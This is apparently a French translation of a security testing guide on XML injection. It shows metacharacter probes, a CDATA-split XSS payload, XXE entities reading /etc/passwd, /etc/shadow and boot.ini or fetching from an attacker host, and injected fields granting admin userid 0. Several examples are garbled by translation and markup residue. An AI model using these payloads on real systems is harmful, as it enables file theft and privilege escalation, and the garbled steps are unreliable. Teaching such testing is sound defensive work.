testing_guide
Résumé
On parle de tests d'injection XML lorsque on essaye d'injecter un document XML dans l'application: si l'analyseur XML ne parvient pas à faire une validation des données le test sera positif.
Description
Dans cette section, nous décrivons un exemple pratique d'injection XML: en premier lieu, un style de communication XML sera défini, et ses principes de fonctionnement expliqués. Puis, nous décrirons la méthode de découverte dans lequel on cherche à insérer les métacaractères XML. Une fois que la première étape est accomplie, le testeur devra récupérer les informations sur la structure XML, de sorte qu'il sera possible d'essayer d'injecter des données XML et les balises (Tag injection).
Test boîte noire
Supposons qu'il y ait une application web en utilisant un style de communication XML afin de pouvoir procéder à l'enregistrement de l'utilisateur. Cela se fait en créant et en ajoutant un nœud <userr> dans un fichier XMLDB. Supposons que le fichier XMLDB est comme ce qui suit:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users>
Lorsqu'un utilisateur s'enregistre lui-même en remplissant un formulaire HTML, l'application reçoit des données de l'utilisateur dans des requêtes standards, qui, pour des raisons de simplicité, seront censées être envoyées dans une requête GET.
Par exemple, les valeurs suivantes:
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com
produira la demande:
http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com
L'application construit le nœud suivant:
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
qui sera ajoutée à la XMLDB:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users>
Découverte
La première étape dans le but de tester une application pour la présence d'une vulnérabilité d'injection XML consiste à essayer d'insérer des métacaractères XML.
Les métacaractères XML sont les suivants:
A titre d'exemple, supposons que il y a l'attribut suivant:
<nowiki><node attrib='$inputValue'/></nowiki>
Donc, si:
inputValue = foo'
est instancié, puis est inséré en tant que valeur attrib:
<nowiki><node attrib='foo''/></nowiki>
alors, le document XML résultant ne sera pas bien formé.
<node attrib="$inputValue"/>
Donc, si:
$inputValue = foo"
Est substitué:
<node attrib="foo""/>
le document XML résultant sera invalide.
Username = foo<
l'application va construire un nouveau nœud:
<user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
mais, à cause de la présence de l'ouverture ”<“, le document XML est valide.
Balises de Commentaire: <yamdwenowiki>2</yamdwenowiki>. - La chaîne de caractères est interprété comme le début / fin d'un commentaire Ainsi, en injectant une d'entre elles dans le paramètre Nom d'utilisateur:
<code>Username = foo<!--</code>
l'application va construire un nœud de la manière suivante:
<code><user>
<username>foo<!–</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</code>
qui ne sera pas une séquence XML valide.
* Esperluette : & - L'esperluette est utilisée dans la syntaxe XML pour représenter des entités. Le format d'une entité est «&symbol;». Une entité est associée à un caractère dans le jeu de caractères Unicode.
Par exemple:
<code><tagnode><</tagnode></code>
est bien formé et valide, et représente le caractère ASCII '<'.
Si '&' n'est pas elle-même codée par &, cela peut être utilisé pour tester l'injection XML.
En effet, si une entrée comme celle-ci est fournie:
<code>Username = &foo
</code>
un nouveau nœud sera créé:
<code><user>
<username>&foo</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</code>
mais, encore une fois, le document n'est pas valide: &foo n'étant pas terminé par ';' et l'entité &foo; étant indéfinie.
* Délimiteurs de section CDATA: <yamdwenowiki>5</yamdwenowiki>- les sections CDATA sont utilisées pour échapper des blocs de texte contenant des caractères qui seraient reconnus en tant que balise . En d'autres termes, les caractères enfermés dans une section CDATA ne sont pas analysées par un analyseur XML.
Par exemple, si il y a nécessité de représenter la chaîne «<foo> » à l'intérieur d'un nœud de texte, une section CDATA peut être utilisée:
<code><node>
<![CDATA[<foo>]]>
</node>
</code>
de sorte que ”<foo>“ ne sera pas analysé comme étant une balise et sera considéré comme des données de type caractères.
Si un noeud est construit de la manière suivante:
<code><username><![CDATA[<$userName]]></username></code>
le testeur peut essayer d'injecter la chaîne de fin <yamdwenowiki>7</yamdwenowiki> pour tenter d'invalider le document XML.
<code>userName = ]]>
</code>
cela deviendra:
<code><username><![CDATA[]]>]]></username></code>
ce qui n'est pas un fragment XML valide.
Un autre test lié à la balise CDATA. Supposons que le document XML est traité pour générer une page HTML. Dans ce cas, les délimiteurs de section CDATA peuvent être simplement éliminés, sans autre contrôle de leur contenu. Ensuite, il est possible d'injecter des balises HTML, qui seront incluent dans la page générée, contournant complètement les routines de désinfection existantes.
Prenons un exemple concret. Supposons que nous ayons un noeud contenant un texte qui sera affiché à l'utilisateur.
<code><html>
$HTMLCode
</html>
</code>
Puis, un attaquant peut fournir les données suivantes:
<code>$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></code>
et obtenir le nœud suivant:
<code>$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></code>
Pendant le traitement, les délimiteurs de section CDATA sont éliminés, pour générer le code HTML suivant:
<code><script>alert('XSS')</script></code>
Le résultat est que l'application est vulnérable aux attaques XSS.
* Entité externe: L'ensemble des entités valides peuvent être étendues par la définition de nouvelles entités. Si la définition d'une entité est un URI, l'entité est appelée une entité externe. À moins d'être configuré autrement, les entités externes forcent l'analyseur XML à accéder à la ressource spécifiée par l'URI, par exemple, un fichier sur la machine locale ou sur un système distant. Ce comportement expose l'application XML à des attaques parentité externe (XXE) qui peuvent être utilisés pour effectuer un déni de service du système local, accéder sans autorisation à des fichiers sur la machine locale, scanner des machines distantes, et effectuer un déni de service sur les systèmes distants .
Pour tester les vulnérabilités XXE, on peut utiliser l'entrée suivante:
<code><?xml version=“1.0” encoding=“ISO-8859-1”?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:/dev/random” >]><foo>&xxe;</foo>
</code>
Ce test pourrait crasher le serveur web (sur un système UNIX), si l'analyseur XML tente de substituer l'entité avec le contenu du fichier /dev /random.
* Autres tests utiles :
<code><?xml version=“1.0” encoding=“ISO-8859-1”?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:/etc/passwd” >]><foo>&xxe;</foo>
<?xml version=“1.0” encoding=“ISO-8859-1”?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:/etc/shadow” >]><foo>&xxe;</foo>
<?xml version=“1.0” encoding=“ISO-8859-1”?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:/c:/boot.ini” >]><foo>&xxe;</foo>
<?xml version=“1.0” encoding=“ISO-8859-1”?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “http://www.attacker.com/text.txt” >]><foo>&xxe;</foo>
</code>
## Injection de Tag ##
Une fois la première étape accomplie, le testeur doit récupérer des informations sur la structure du document XML. Ensuite, il est possible d'essayer d'injecter des données XML et des tags. Nous allons montrer un exemple de la façon dont cela peut conduire à une attaque en escalade de privilège.
Nous allons examiner la demande précédente. En insérant les valeurs suivantes:
<code>Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com
</code>
l'application va construire un nouveau nœud et l'ajouter à la base de données XML:
<code><?xml version=“1.0” encoding=“ISO-8859-1”?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users>
</code>
Le fichier XML résultant est bien formé. En outre, il est probable que, pour l'utilisateur tony, la valeur associée à la balise userid est celui qui apparaît en dernier, soit 0 (l'ID admin). En d'autres termes, nous avons injecté un utilisateur avec des privilèges administrateurs.
Le seul problème est que la balise ID utilisateur apparaît deux fois dans le nœud du dernier utilisateur. Souvent, les documents XML sont associées à un schéma ou une DTD et seront rejetées si elles ne s'y conforment pas. Supposons que le document XML est spécifié par la DTD suivante:
<code><!DOCTYPE users [
<!ELEMENT users (user+) >
<!ELEMENT user (username,password,userid,mail+) >
<!ELEMENT username (#PCDATA) >
<!ELEMENT password (#PCDATA) >
<!ELEMENT userid (#PCDATA) >
<!ELEMENT mail (#PCDATA) >
]>
</code>
Notez que le noeud 'userid est défini avec une cardinalité de 1. Dans ce cas, l'attaque,que précédente (et d'autres attaques simples) ne fonctionnera pas si le document XML est validé par rapport à sa DTD avant tout traitement.
Toutefois, ce problème peut être résolu, si le testeur contrôle la valeur de certains nœuds qui précèdent le nœud fautif (userid, dans cet exemple). En fait, le testeur peut commenter tel noeud, en injectant une séquence début / fin de commentaire:
<code>Username: tony
Password: Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com
</code>
Dans ce cas, la base de données XML finale est la suivante:
<code><?xml version=“1.0” encoding=“ISO-8859-1”?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users>
</code>
# Références #
## Livres blancs ##
* Alex Stamos: “Attacking Web Services” - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt
* Gregory Steuck, “XXE (Xml eXternal Entity) attack” - http://www.securityfocus.com/archive/1/297714
## Outils ##
* XML Injection Fuzz String (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/XML.txt